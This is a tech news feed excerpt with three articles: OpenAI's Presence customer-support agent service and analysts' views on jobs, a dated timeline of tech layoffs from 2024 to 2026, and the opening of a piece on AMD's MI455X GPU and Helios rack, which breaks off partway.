<guid isPermaLink="true">https://tsecurity.de/de/3694769/ai-nachrichten/openai-presence-raises-new-questions-about-enterprise-automation-and-jobs/</guid>
<pubDate>Sat, 25 Jul 2026 19:50:08 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">OpenAI has launched Presence, an enterprise service for deploying voice and chat agents that can resolve customer and employee requests, potentially automating some work now handled by frontline support teams.</p>



<p class="wp-block-paragraph">The agents can answer questions and operate IT systems, and enterprises can decide what actions the agents may take and when they should seek human approval for actions or transfer a case to a human.</p>



<p class="wp-block-paragraph">OpenAI is already using Presence internally for its English-language phone support channel, where it verifies callers and uses account information to complete approved actions. The company said the system resolves 75% of inbound issues without human assistance.</p>



<p class="wp-block-paragraph">Another OpenAI service, Codex, can be used to monitor agents and suggest updates or improvements to processes. In OpenAI’s own tests, suggestions from Codex helped reduce handoffs to humans by 15 percentage points over 10 days, it said. Presence also includes simulation and evaluation tools that allow companies to test an agent before deployment. The tests assess whether it reaches the correct outcome, follows company policy, and hands a case to an employee when required.</p>



<p class="wp-block-paragraph">OpenAI intends each Presence deployment to deal with one kind of task, for example billing issues, insurance claims, or employee IT service requests, with agents getting only the knowledge and system access required for that task.</p>



<p class="wp-block-paragraph">Presence is not a self-service product: Enterprises will have to sign up for the limited availability program, with integration performed by OpenAI or selected <a href="https://www.computerworld.com/article/4136024/openai-partners-with-consulting-giants-to-deploy-enterprise-ai-agents.html">global systems integrators</a>.</p>



<p class="wp-block-paragraph">Companies exploring or testing Presence include Spanish bank BBVA, which is evaluating the service for everyday banking support in Mexico, and Japanese technology group SoftBank, which is using it in trials involving Japanese-language customer interactions. Australian insurer IAG is assessing whether the technology can help it respond to surges in customer demand during severe weather events.</p>



<h2 class="wp-block-heading">Workforce impact</h2>



<p class="wp-block-paragraph">OpenAI’s announcement did not address the potential effect of Presence on employment. But its claimed automation rate raises questions about how the technology could affect staffing in customer service and other support functions.</p>



<p class="wp-block-paragraph"><a href="https://pareekh.com/" target="_blank" rel="noreferrer noopener">Pareekh Jain</a>, CEO of Pareekh Consulting, said CIOs should regard the 75% figure as evidence that the technology can work, rather than as a benchmark that every enterprise can expect to reach.</p>



<p class="wp-block-paragraph">Jain said OpenAI’s deployment benefits from being built around the company’s own products and data. Large enterprises may achieve lower automation rates because they must contend with fragmented legacy systems, uneven knowledge bases and more complex compliance demands.</p>



<p class="wp-block-paragraph">“Most organizations should expect lower initial automation levels that improve over time as the AI agent is refined,” Jain said.</p>



<p class="wp-block-paragraph">The first workforce effect is more likely to be <a href="https://www.cio.com/article/4015750/cios-see-ai-prompting-new-it-hiring-even-as-boards-push-for-job-cuts.html">slower hiring than immediate layoffs</a>, according to <a href="https://www.linkedin.com/in/tulikasheel/" target="_blank" rel="noreferrer noopener">Tulika Sheel</a>, senior vice president at Kadence International.</p>



<p class="wp-block-paragraph">“The roles most exposed are likely to be repetitive, high-volume functions such as frontline customer support and routine back-office processing,” Sheel said. “However, I would expect the first impact to be on hiring and team growth rather than immediate large-scale job cuts. Over time, enterprises may redesign roles around AI-assisted workflows, with humans focusing more on complex cases, escalation, and relationship management.”</p>



<p class="wp-block-paragraph">Jain said Tier-1 support agents handling predictable queries would face the most exposure. Broader reductions would become more likely only after companies reorganize their operations around the technology.</p>



<p class="wp-block-paragraph">However, <a href="https://omdia.tech.informa.com/authors/lian-jye-su" target="_blank" rel="noreferrer noopener">Lian Jye Su</a>, chief analyst at Omdia, said Presence is unlikely to increase the threat of job displacement because companies have used similar customer-support automation from vendors such as Genesys, NiCE, Five9 and AWS for years.</p>



<p class="wp-block-paragraph">Enterprises are more likely to use Presence alongside employees, with AI handling routine requests while people remain responsible for work requiring judgment and empathy, Su said.</p>



<h2 class="wp-block-heading">Cost and operational risks</h2>



<p class="wp-block-paragraph">Analysts said CIOs should examine whether Presence can maintain resolution quality as usage grows, since fewer human handoffs could leave employees dealing with a more difficult mix of cases.</p>



<p class="wp-block-paragraph">“The key question is not simply how many tasks AI can handle, but whether it can handle them reliably at scale,” Sheel said.</p>



<p class="wp-block-paragraph">The financial case will depend partly on the cost of connecting Presence to existing systems and maintaining the controls needed to govern its use, according to Jain. “Often the biggest cost of enterprise AI is not tokens but <a href="https://www.computerworld.com/article/4128310/openai-responds-to-claude-cowork-with-its-own-platform-to-help-build-deploy-and-manage-ai-agents.html">integration and governance</a>,” Jain added.</p>



<p class="wp-block-paragraph">Companies will need to determine what systems and data the agents can access, monitor their performance, and audit the actions they take. Those investments could offset early savings.</p>



<p class="wp-block-paragraph">Su said the complexity of enterprise IT will make it difficult for OpenAI to automate entire workflows on its own. Enterprises will still need to work with other technology providers and human employees, while CIOs will favor systems that can be audited and integrated with existing infrastructure.</p>



<p class="wp-block-paragraph">Jain said the economics could improve if companies use the same integrations and governance controls across additional workflows.</p>



<p class="wp-block-paragraph"><em>This article first appeared on <a href="https://www.cio.com/article/4200684/openai-presence-raises-new-questions-about-enterprise-automation-and-jobs.html">CIO</a>.</em></p>
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<title><![CDATA[Tech layoffs: A 2026 timeline]]></title>
<description><![CDATA[Among a range of factors leading to a wave of tech sector layoffs in 2026 is the rapid rise of artificial intelligence and automation. Companies are reconfiguring their workforces to leverage AI for increased efficiency and reduced operating costs. This realignment and reduction is implemented ev...]]></description>
<link>https://tsecurity.de/de/3694770/ai-nachrichten/tech-layoffs-a-2026-timeline/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694770/ai-nachrichten/tech-layoffs-a-2026-timeline/</guid>
<pubDate>Sat, 25 Jul 2026 19:50:08 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Among a range of factors leading to a wave of tech sector layoffs in 2026 is the rapid rise of artificial intelligence and automation. Companies are reconfiguring their workforces to leverage AI for increased efficiency and reduced operating costs. This realignment and reduction is implemented even by companies reporting strong financial performance.</p>



<p class="wp-block-paragraph">But it’s not just AI leading to workforce cuts. Complementing this technological shift are ongoing economic uncertainty, inflation, and higher interest rates, compounded by a chip shortage and rising energy costs. This mix is driving companies to cut costs and streamline operations for increased efficiency.</p>



<p class="wp-block-paragraph">According to data compiled by <a href="https://layoffs.fyi/" target="_blank" rel="noreferrer noopener">Layoffs.fyi</a>, an online tracker that keep tabs on job losses in the technology sector, 123,941 tech employees were laid off at 269 companies in 2025. The site also reports that 71,981 government employees were laid off by DOGE alone, with 182,528 total federal workers laid off.</p>



<p class="wp-block-paragraph">Here is a list — to be updated regularly — of some of the most prominent technology layoffs the industry has experienced recently.</p>



<h2 class="wp-block-heading">Notable tech layoffs in 2026</h2>



<ul class="wp-block-list">
<li>Monday.com</li>



<li>Microsoft</li>



<li>Meta</li>



<li>Cisco</li>



<li>Cloudflare</li>



<li>Oracle</li>



<li>Atlassian </li>



<li>Salesforce</li>



<li>Amazon</li>



<li>Ericsson</li>
</ul>



<h3 class="wp-block-heading">July 22, 2026: Monday.com cuts 20% of its workforce to restructure for the AI era</h3>



<p class="wp-block-paragraph">The company says the decision to <a href="https://www.computerworld.com/article/4200349/monday-com-cuts-20-of-its-workforce-to-restructure-for-the-ai-era-2.html">cut 620 jobs</a> isn’t about margins, but about creating a flatter organization built around AI agents, autonomous teams, and deeper customer engagement.</p>



<h3 class="wp-block-heading">July 6, 2026: Microsoft cuts 4,800 jobs, primarily in sales and Xbox teams</h3>



<p class="wp-block-paragraph">As the company <a href="https://www.computerworld.com/article/4193532/microsoft-bets-that-enterprise-ai-needs-engineers-not-bigger-sales-teams-2.html" target="_blank">trims thousands of jobs</a>, it’s also investing in embedded engineering teams and AI infrastructure. The layoffs come several weeks after the company offered 8,750 US employees <a href="https://www.computerworld.com/article/4163188/microsoft-to-offer-voluntary-retirement-buyouts-to-about-7-of-the-us-workforce.html">voluntary retirement buyouts</a>.</p>



<h3 class="wp-block-heading">June 5, 2026: Tech industry cut 38,242 jobs in May, worst since 2024</h3>



<p class="wp-block-paragraph">AI was blamed for 40% of <a href="https://www.computerworld.com/article/4181822/tech-industry-cut-38242-jobs-in-may-worst-since-2024.html">the job cuts in May</a>, up from 7% in January, according to research by employment placement company Challenger, Gray &amp; Christmas.</p>



<h3 class="wp-block-heading">May 20, 2026: Meta cuts 8,000 jobs, around 10% of workforce</h3>



<p class="wp-block-paragraph">The cuts are expected to expected to hit Meta’s engineering and product teams the hardest, arriving as Meta pivots toward AI to boost efficiency across its organization, <a href="https://tech.yahoo.com/general/article/meta-starts-cutting-8000-jobs-as-part-of-previously-announced-layoffs-145220586.html" target="_blank" rel="noreferrer noopener">according to Yahoo Tech</a>.</p>



<h3 class="wp-block-heading">May 13, 2026: Cisco to cut nearly 4,000 jobs despite strong growth in AI, enterprise networking</h3>



<p class="wp-block-paragraph">Despite reporting positive financial news — including record third-quarter revenue of $15.8 billion, a 12% year-over-year increase — Cisco said it will <a href="https://www.networkworld.com/article/4171043/cisco-to-cut-nearly-4000-jobs-despite-strong-growth-in-ai-enterprise-networking.html" target="_blank">eliminate almost 4,000 jobs</a>.</p>



<h3 class="wp-block-heading">May 7, 2026: Cloudflare to cut 1,100 jobs in AI-focused restructuring</h3>



<p class="wp-block-paragraph">About <a href="https://finance.yahoo.com/markets/stocks/articles/cloudflare-cut-over-1-100-204726989.html" target="_blank" rel="noreferrer noopener">20% of Cloudflare’s global workforce will be culled</a> as the company pivots for the agentic AI era, Reuters reported.</p>



<h3 class="wp-block-heading">April 1, 2026: Oracle to cut up to 30,000 jobs globally, putting enterprise support and roadmaps at risk</h3>



<p class="wp-block-paragraph"><a href="https://www.cio.com/article/4153113/oracle-cuts-up-to-30000-jobs-globally-putting-enterprise-support-and-roadmaps-at-risk.html">Oracle began laying off employees</a> on March 31 in what could be the largest workforce reduction in the company’s history. Employees received termination emails at 6 a.m. local time with immediate system lockouts and no prior warning. <em>(Note: in June, CNBC put the <a href="https://www.cnbc.com/2026/06/23/oracle-ai-job-cuts-layoffs-21000.html" target="_blank" rel="noreferrer noopener">final layoff tally at 21,000</a>.)</em></p>



<h3 class="wp-block-heading">March 12, 2026: Atlassian cuts 1,600 jobs to fund AI and enterprise expansion</h3>



<p class="wp-block-paragraph"><a href="https://www.computerworld.com/article/4144218/atlassian-cuts-1600-jobs-to-fund-ai-and-enterprise-expansion.html">Atlassian will reduce its global workforce</a> by approximately 10%, eliminating around 1,600 roles, as the collaboration software maker redirects capital toward artificial intelligence development and enterprise sales.</p>



<h3 class="wp-block-heading">March 11, 2026: Tech layoffs surpass 45,000 in early 2026</h3>



<p class="wp-block-paragraph">A recent analysis by RationalFX found 45,363 job cuts globally so far this year—with roughly 68% or more than 30,000 occurring in the U.S. — highlighting ongoing <a href="https://www.networkworld.com/article/4143749/tech-layoffs-surpass-45000-in-early-2026.html" target="_blank">workforce cuts even as many tech companies report strong revenue growth</a>.</p>



<h3 class="wp-block-heading">February 10, 2026: Salesforce lays off staffers as executive leadership churn continues</h3>



<p class="wp-block-paragraph"><a href="https://www.cio.com/article/4130028/salesforce-lays-off-staffers-as-executive-leadership-churn-continues.html" target="_blank">Salesforce has reduced close to 1,000 roles</a> earlier this month across teams, including marketing, product management, data analytics, and its <a href="https://www.cio.com/article/4011936/salesforce-agentforce-3-promises-new-ways-to-monitor-and-manage-ai-agents.html">Agentforce</a> AI unit, <a href="https://www.businessinsider.com/salesforce-cuts-jobs-executive-changes-2026-2">Business Insider</a> reported, quoting employees familiar with the matter.</p>



<h3 class="wp-block-heading">January 23, 2026: Amazon layoffs expected to disproportionately hit AWS and tech talent</h3>



<p class="wp-block-paragraph">As the market slows down, <a href="https://www.computerworld.com/article/4121653/amazon-layoffs-expected-to-disproportionately-hit-aws-and-tech-talent.html">AWS and other Amazon units are preparing for another round of layoffs</a>, which is expected to overwhelmingly impact tech talent. An email from HR leader Beth Galetti on Jan. 28 <a href="https://www.computerworld.com/article/4123477/amazon-confirms-16000-job-cuts-including-to-aws.html">confirmed 16,000 job cuts</a>.</p>



<h3 class="wp-block-heading">January 15, 2026: Ericsson plans to shed 1,600 jobs in Sweden</h3>



<p class="wp-block-paragraph"> Ericsson lans to cut some 1,600 jobs in Sweden, the telecommunications equipment maker said doubling down on recent cost-saving measures that have helped it weather a prolonged downturn in telecoms spending, <a href="https://www.reuters.com/business/world-at-work/ericsson-shed-1600-jobs-sweden-2026-01-15/" target="_blank" rel="noreferrer noopener">Reuters reports</a>.</p>



<h3 class="wp-block-heading">January 13, 2026: Meta plans to cut around 10% of employees in Reality Labs business</h3>



<p class="wp-block-paragraph">Meta plans to cut around 10% of the employees in its Reality Labs division who work on products including the metaverse, according to three people with knowledge of the discussions, <a href="http://meta%20plans%20to%20cut%20around%2010%25%20of%20employees%20in%20reality%20labs%20business/" target="_blank" rel="noreferrer noopener">according to The New York Times</a>.</p>



<h2 class="wp-block-heading">Layoffs in 2025</h2>



<ul class="wp-block-list">
<li>Cisco</li>



<li>Oracle</li>



<li>Windsurf</li>



<li>Intel</li>



<li>Microsoft</li>



<li>Crowdstrike</li>



<li>HPE</li>



<li>Autodesk</li>



<li>HPE</li>



<li>CISA</li>



<li>Workday</li>



<li>Salesforce</li>



<li>Meta</li>
</ul>



<h3 class="wp-block-heading">Global tech-sector layoffs surpass 244,000 in 2025</h3>



<p class="wp-block-paragraph">Economic uncertainty, elevated interest rates, and AI adoption have <a href="https://www.networkworld.com/article/4114572/global-tech-sector-layoffs-surpass-244000-in-2025.html" target="_blank">driven workforce reductions across tech companies worldwide</a>, according to a RationalFX report.</p>



<h3 class="wp-block-heading">October 28, 2025: Amazon to cut 14,000 jobs across company</h3>



<p class="wp-block-paragraph"><a href="https://www.computerworld.com/article/4080142/amazon-to-cut-14000-jobs-across-company.html">Amazon will reduce its overall workforce</a> by 14,000, cutting layers of management across the company and hiring in some areas to support its “biggest bets”.</p>



<h3 class="wp-block-heading">August 18, 2025: Cisco and Oracle to cut hundreds of Bay Area jobs</h3>



<p class="wp-block-paragraph">Tech companies Cisco and Oracle are <a href="https://www.sfchronicle.com/tech/article/cisco-oracle-layoffs-bay-area-20824135.php" target="_blank" rel="noreferrer noopener">cutting hundreds of jobs across the Bay Area</a>. Cisco will eliminate 221 positions at its Milpitas and San Francisco offices, effective Oct. 13. Oracle is reducing 101 positions in Santa Clara on the same date </p>



<h3 class="wp-block-heading">August 5, 2025: 3 weeks after acquiring Windsurf, Cognition offers staff the exit door</h3>



<p class="wp-block-paragraph">Cognition, the AI coding startup that acquired rival company Windsurf three weeks ago, laid off 30 employees last week and is offering buyouts to the roughly 200 remaining employees on the team, <a href="https://www.theinformation.com/articles/cognition-offers-buyouts-newly-acquired-windsurf-staff" target="_blank" rel="noreferrer noopener">reports The Information</a>.</p>



<h3 class="wp-block-heading">July 25, 2025, Intel to lay off 22% of workforce, CEO Tan signals ‘no more blank checks’</h3>



<p class="wp-block-paragraph"><a href="https://www.computerworld.com/article/4028896/intel-to-lay-off-22-of-workforce-as-ceo-tan-signals-no-more-blank-checks.html">Intel will reduce its workforce to 75,000 employees</a> by the end of 2025 as new CEO Lip-Bu Tan implements sweeping changes designed to transform the struggling chipmaker</p>



<h3 class="wp-block-heading">July 8, 2025, Intel layoffs begin: Chipmaker is cutting many thousands of jobs</h3>



<p class="wp-block-paragraph">Intel has begun laying off employees across the company. CEO Lip-Bu Tan told workers back in April to expect <a href="https://www.oregonlive.com/silicon-forest/2025/07/intel-layoffs-begin-chipmaker-is-cutting-many-thousands-of-jobs.html">major layoffs at Intel </a>in the coming months as the chipmaker slashes costs and overhauls its organization after years of technical setbacks and falling sales. </p>



<h3 class="wp-block-heading">July 2, 2025: Microsoft will cut 9,000 workers</h3>



<p class="wp-block-paragraph">Microsoft will lay off about 9,000 employees, a source familiar with the workforce cut <a href="https://www.nbcnews.com/business/business-news/microsoft-laying-9000-employees-latest-cuts-rcna216553">told CNBC</a>.  The cuts will reportedly affect less than 4% of Microsoft’s global workforce and will impact different teams, geographies and levels of experience. This is the latest in a string of cuts the tech giant has made this year.</p>



<h3 class="wp-block-heading">June 17, 2025: Intel looks to factory layoffs to return to profitability</h3>



<p class="wp-block-paragraph"><a href="https://www.networkworld.com/article/4008670/can-intel-cut-its-way-to-profit-with-factory-layoffs.html">Intel will lay off up to 20% of its manufacturing sector employees</a> starting in July,  according to media reports, as the company looks for options as it seeks a return to profitability. The cuts reportedly will be made around the world, but some of the layoffs will be closer to home, according to a report in The Oregonian citing an internal company memo from Intel manufacturing Vice President Naga Chandrasekaran.</p>



<h3 class="wp-block-heading">May 7, 2025: CrowdStrike to lay off 5% of staff</h3>



<p class="wp-block-paragraph"><a href="https://www.reuters.com/sustainability/crowdstrike-lay-off-5-staff-reaffirms-forecasts-2025-05-07/">CrowdStrike announced a plan to cut about 500 roles</a>, roughly 5% of its workforce, to streamline operations and reduce costs. The cybersecurity company will incur about $36 million to $53 million in charges related to the layoffs</p>



<h3 class="wp-block-heading">March 6, 2025: HPE cuts 2,500 jobs, remains committed to Juniper buy</h3>



<p class="wp-block-paragraph">CEO Antonio Neri told Wall Street analysts that <a href="https://www.networkworld.com/article/3840596/hpe-cuts-2500-workers-expects-juniper-buy-to-close-end-of-25-faces-tariff-issues.html">HPE would begin implementing a cost-cutting program involving layoffs </a>of about 2,500 employees over the next 18 months. HPE employs about 61,000 people worldwide.</p>



<h3 class="wp-block-heading">Feb. 27, 2025: Autodesk to lay off 9% of workforce</h3>



<p class="wp-block-paragraph">Software maker Autodesk is laying off 1,350 staff. With the rise of subscription and multi-year contracts billed annually, and self-service enablement, it finds it needs fewer sales staff, <a href="https://adsknews.autodesk.com/en/news/022725-employee-message/">CEO Andrew Anagnost said in a message to employees</a>. And with its cloud, platform, and AI products proving most profitable, it’s concentrating its staff and investments there. </p>



<h3 class="wp-block-heading">Feb. 27, 2025: HP to lay off 2,000 more</h3>



<p class="wp-block-paragraph">As part of an ongoing restructuring, HP plans to lay off up to another 2,000 workers. In recent weeks, the company has tried — unsuccessfully — to do away with telephone support staff by <a href="https://www.pcworld.com/article/2617767/hp-forced-callers-to-wait-15-minutes-before-connecting-to-support-staff.html">forcing callers to wait for at least 15 minutes</a> if they refuse to use self-service support resources online. The company swiftly backtracked, but wider job cuts are still on. </p>



<h3 class="wp-block-heading">Feb. 21, 2025: <a href="https://www.csoonline.com/article/3829710/firing-of-130-cisa-staff-worries-cybersecurity-industry.html">CISA lays off 130</a></h3>



<p class="wp-block-paragraph">Government employees get laid off too: In this case, 130 workers at the US Cybersecurity and Infrastructure Security Agency are being shown the door as a result of a DOGE decision. Cybersecurity experts are concerned that the cuts will harm the international collaborations that CISA has fostered, quite apart from their concerns about the security of the DOGE layoff process itself.</p>



<h3 class="wp-block-heading">Feb. 5, 2025: <a href="https://www.computerworld.com/article/3817887/workday-to-cut-1750-jobs-shift-focus-to-ai-and-global-expansion.html">Workday lays off 1,750</a></h3>



<p class="wp-block-paragraph">As it moves to invest more in AI and international growth, Workday is laying off 8.5% of its workforce and disposing of unused office space. Some analysts fear the cutbacks will affect the company’s customer service — unless AI can pick up the slack.</p>



<h3 class="wp-block-heading">Feb. 4, 2025: Salesforce lays off over 1,000</h3>



<p class="wp-block-paragraph">At the same time as it’s hiring sales staff for its new artificial intelligence products, Salesforce is laying off over 1,000 workers across the company, according to Bloomberg. As of June, 2024, the company had over 72,000 employees, according to its website. Salesforce did not comment on the report. In 2024 the company reportedly laid off around 1,000 staff too, in two waves: January and July.</p>



<h3 class="wp-block-heading">Jan. 14, 2025: Meta will lay off 5% of workforce</h3>



<p class="wp-block-paragraph">Mark Zuckerberg told Meta employees he intended to “move out the low performers faster” in an internal memo reported by Bloomberg. The memo announced that the company will lay off 5% of its staff, or around 3,600 staff, beginning Feb. 10. The company had already reduced its headcount by 5% in 2024 through natural attrition, the memo said. Among those leaving the company will be staff previously responsible for fact checking of posts on its social media platforms in the US, as the company begins relying on its users to police content.</p>



<h2 class="wp-block-heading">Tech layoffs in 2024</h2>



<ul class="wp-block-list">
<li>Equinix</li>



<li>AMD</li>



<li>Freshworks</li>



<li>Cisco</li>



<li>General Motors</li>



<li>Intel</li>



<li>OpenText</li>



<li>Microsoft</li>



<li>AWS</li>



<li>Dell</li>
</ul>



<h3 class="wp-block-heading">Nov. 26, 2024: <a href="https://www.networkworld.com/article/3613399/equinix-to-cut-3-of-staff-amidst-the-greatest-demand-for-data-center-infrastructure-ever.html">Equinix to cut 3% of staff</a></h3>



<p class="wp-block-paragraph">Despite intense demand for its data center capacity, Equinix is planning to lay off 3% of its workforce, or around 400 employees. The announcement followed the appointment of Adaire Fox-Martin to replace Charles Meyers as CEO and the departures of two other senior executives, CIO Milind Wagle and CISO Michael Montoya.</p>



<h3 class="wp-block-heading">Nov. 13, 2024: <a href="https://www.networkworld.com/article/3605016/amd-to-cut-4-of-workforce-to-prioritize-ai-chip-expansion-to-rival-nvidia.html#:~:text=Workforce%20reduction%20comes%20amid%20strong,shift%20in%20focus%20toward%20AI.&amp;text=Advanced%20Micro%20Devices%20(AMD)%20is,Nvidia's%20lead%20in%20the%20sector.">AMD to cut 4% of workforce</a></h3>



<p class="wp-block-paragraph">AMD will lay off around 1,000 employees as it pivots towards developing AI-focused chips, it said. The move came as a surprise to staff, as the company also reported strong quarterly earnings. </p>



<h3 class="wp-block-heading">Nov. 7, 2024: <a href="https://www.cio.com/article/3601088/freshworks-lays-off-660-about-13-percent-of-its-global-workforce-despite-strong-earnings-profits.html">Freshworks lays off 660</a></h3>



<p class="wp-block-paragraph">Enterprise software vendor Freshworks laid off around 660 staff, or around 13% of its headcount, despite reporting increased revenue and profits in its fourth fiscal quarter. The company described the layoffs as a realignment of its global workforce.</p>



<h3 class="wp-block-heading">Sept. 17, 2024: <a href="https://www.networkworld.com/article/3486901/cisco-to-cut-7-of-workforce-restructure-product-groups.html">Cisco lays off 6,000</a></h3>



<p class="wp-block-paragraph">After laying off around 4,200 staff in February, Cisco is at it again, laying off another 6,000 or around 7% of its workforce. Among the divisions affected were its threat intelligence unit, Talos Security. </p>



<h3 class="wp-block-heading">Aug. 20, 2024: <a href="https://www.cio.com/article/3489323/gm-software-layoffs-could-signal-a-shift-in-digital-transformation-strategy.html">General Motors lays off 1,000 software staff</a></h3>



<p class="wp-block-paragraph">More than 1,000 software and services staff are on the way out at General Motors, signalling that it could be rethinking its digital transformation strategy. In an internal memo, the company said that it was moving resources to its highest-priority work and flattening hierarchies.</p>



<h3 class="wp-block-heading">August 1, 2024: <a href="https://www.computerworld.com/article/3480715/intel-fires-15000-employees-as-it-intensifies-focus-on-ai.html">Intel removes 15,000 roles</a></h3>



<p class="wp-block-paragraph">Intel plans to cut its workforce by around 15% to reduce costs after a disastrous second quarter. Revenue for the three months to June 29 stagnated at around $12.8 billion, but net income fell 85% to $83 million, prompting CEO Pat Gelsinger to bring forward a company-wide meeting in order to announce that 15,000 staff would lose their jobs. “This is an incredibly hard day for Intel as we are making some of the most consequential changes in our company’s history,” Gelsinger wrote in an email to staff, continuing: “Our revenues have not grown as expected — and we’ve yet to fully benefit from powerful trends, like AI. Our costs are too high, our margins are too low. We need bolder actions to address both — particularly given our financial results and outlook for the second half of 2024, which is tougher than previously expected.”</p>



<h3 class="wp-block-heading">July 4, 2024: <a href="https://www.computerworld.es/article/2513686/opentext-despedira-a-cerca-de-1-200-empleados.html">OpenText to lay off 1,200</a></h3>



<p class="wp-block-paragraph">OpenText said it will lay off 1,200 staff, or about 1.7% of its workforce, in a bid to save around $100 million annually. It plans to hire new sales and engineering staff in other areas in 2025, it said.</p>



<h3 class="wp-block-heading">June 4, 2024: <a href="https://www.networkworld.com/article/2138075/microsoft-lays-off-staffers-from-its-azure-division.html">Microsoft lays off staff in Azure division</a></h3>



<p class="wp-block-paragraph">Microsoft laid off staff in several teams supporting its cloud services, including Azure for Operations and Mission Engineering. The company didn’t say exactly how many staff were leaving.</p>



<h3 class="wp-block-heading">April 4, 2024: <a href="https://www.cio.com/article/2081437/amazon-downsizes-aws-in-a-fresh-cost-cutting-round.html">Amazon downsizes AWS</a> in a fresh cost-cutting round</h3>



<p class="wp-block-paragraph">Amazon announced hundreds of layoffs in the sales and marketing teams of its AWS cloud services division — and also in the technology development teams for its physical retail stores, as it stepped back from efforts to generalize the “<a href="https://www.cio.com/article/2079910/amazon-drops-just-walk-out-technology-at-its-us-retail-locations.html">Just Walk Out</a>” technology built for its Amazon Fresh grocery stores. </p>



<h3 class="wp-block-heading">April 1, 2024: <a href="https://investors.delltechnologies.com/static-files/d6e82f58-d417-422f-b2f3-4d08d498abd4" target="_blank" rel="noreferrer noopener">Dell acknowledges 13,000 job cuts</a></h3>



<p class="wp-block-paragraph">Dell Technologies’ <a href="https://investors.delltechnologies.com/static-files/d6e82f58-d417-422f-b2f3-4d08d498abd4" target="_blank" rel="noreferrer noopener">latest 10K filing with the US Securities and Exchange Commission</a> disclosed that the company had laid off 13,000 employees over the course of the 2023 fiscal year; it characterized the layoffs and other reorganizational moves as cost-cutting measures. “These actions resulted in a reduction in our overall headcount,” the company said. A comparison to the previous year’s 10K filing, performed by The Register, found that Dell employed 133,000 people at that point, compared to 120,000 as of February 2024. Dell announced layoffs of 6,650 staffers on Feb. 6, but it is unclear whether those cuts were reflected in the numbers from this year’s 10K statement.</p>



<p class="wp-block-paragraph"><em><a href="https://www.computerworld.com/article/3816662/tech-layoffs-in-2024-a-timeline.html">See news of earlier layoffs.</a></em></p>



<p class="wp-block-paragraph"></p>
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<title><![CDATA[AMD raises the AI stakes with Helios, Venice and robotics]]></title>
<description><![CDATA[AMD executives took to the stage at its Advancing AI 2026 event in San Francisco today to detail the company’s next generation of AI infrastructure solutions, from Instinct MI455X AI accelerator GPUs and 6th Gen EPYC “Venice” CPUs, to Pensando networking, ROCm.AI software and its Helios rack-scal...]]></description>
<link>https://tsecurity.de/de/3694768/ai-nachrichten/amd-raises-the-ai-stakes-with-helios-venice-and-robotics/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694768/ai-nachrichten/amd-raises-the-ai-stakes-with-helios-venice-and-robotics/</guid>
<pubDate>Sat, 25 Jul 2026 19:50:07 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">AMD executives took to the stage at its Advancing AI 2026 event in San Francisco today to detail the company’s next generation of AI infrastructure solutions, from Instinct MI455X AI accelerator GPUs and 6th Gen EPYC “Venice” CPUs, to Pensando networking, ROCm.AI software and its Helios rack-scale platform that ties it all together.</p>



<p class="wp-block-paragraph">AMD has been working towards rack-scale AI system solutions for years. Its ZT Systems acquisition last year added valuable engineering talent and intellectual property that is now finally bearing the real fruits. Its <a href="https://www.amd.com/en/products/rackscale-solutions/helios.html" target="_blank" rel="noreferrer noopener">Helios AI platform</a> is a major platform evolution for AMD, with shipments scheduled to begin in the second half of this year (which is here and now).</p>



<p class="wp-block-paragraph">The announcements at Advancing AI show how the company has engineered its AI platform solutions for large reasoning models, sustained inference and agentic workflows. These workloads pressure memory capacity, data movement, networking and CPU orchestration. AMD’s approach is to keep as much data close to the compute engines as possible and move it more efficiently throughout the system, but there’s deeper nuance here that’s obvious versus AMD’s chief rival, NVIDIA.  </p>



<h2 class="wp-block-heading">AMD’s MI455X targets the AI memory wall</h2>



<p class="wp-block-paragraph">The Instinct MI455X GPU is the compute engine that fuels the Helios rack, and the first GPU based on AMD’s new CDNA 5 architecture. Built with a modular mix of 2nm and 3nm chiplets, it carries 432GB of HBM4 and 23.3TB/s of peak memory bandwidth.</p>



<p class="wp-block-paragraph">Compared to AMD’s current MI355X, <a href="https://hothardware.com/news/instinct-mi400-challenge-vera-rubin" target="_blank" rel="noreferrer noopener">the MI455X offers</a> 1.5 times the memory capacity, up to 2.9 times the peak memory bandwidth and up to four times the peak matrix performance with MXFP4 and MXFP8 data types, which are lower-precision numerical formats designed to accelerate AI processing while reducing memory demands. With MXFP6 (6-bit floating point), performance is rated at up to twice that of MI355X.</p>



<p class="wp-block-paragraph">AMD also shared some actual, measured internal results using production silicon. The company claims MI455X delivers 3.8 times higher FP8 decode performance, 3.5 times more measured FP4 compute performance and between 2.5 and 3.5 times more networking bandwidth than MI355X, depending on the transfer path tested. Those figures provide more context than just numerical specifications, though they remain AMD-provided comparisons that will need independent validation.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/amd-generational-leap.jpg?quality=50&amp;strip=all&amp;w=1024" alt="AMD Instinct chart showing generational leap in performance" class="wp-image-4200600" width="1024" height="547" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">AMD</p></div>



<p class="wp-block-paragraph">The architectural choices behind the numbers are important. Reasoning models and long context windows require sizeable KV caches for maintaining AI attention states, while mixture-of-experts models frequently move large amounts of data across accelerators. MI455X should let more model data, activation states and cache remain local. New dedicated IP in hardware can transfer data while the GPU continues processing, and expanded cache and multicast capabilities are designed to reduce redundant data movement to further improve efficiency.</p>



<p class="wp-block-paragraph">The aforementioned lower-precision formats can also raise throughput and reduce memory use, but model developers still have to determine where they can be applied without unacceptable accuracy loss.</p>



<h2 class="wp-block-heading">AMD’s Helios rack takes aim at Vera Rubin</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/amd-helios-rack.jpg?quality=50&amp;strip=all&amp;w=1024" alt="AMD Helios rack" class="wp-image-4200601" width="1024" height="626" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Dave Altavilla</p></div>



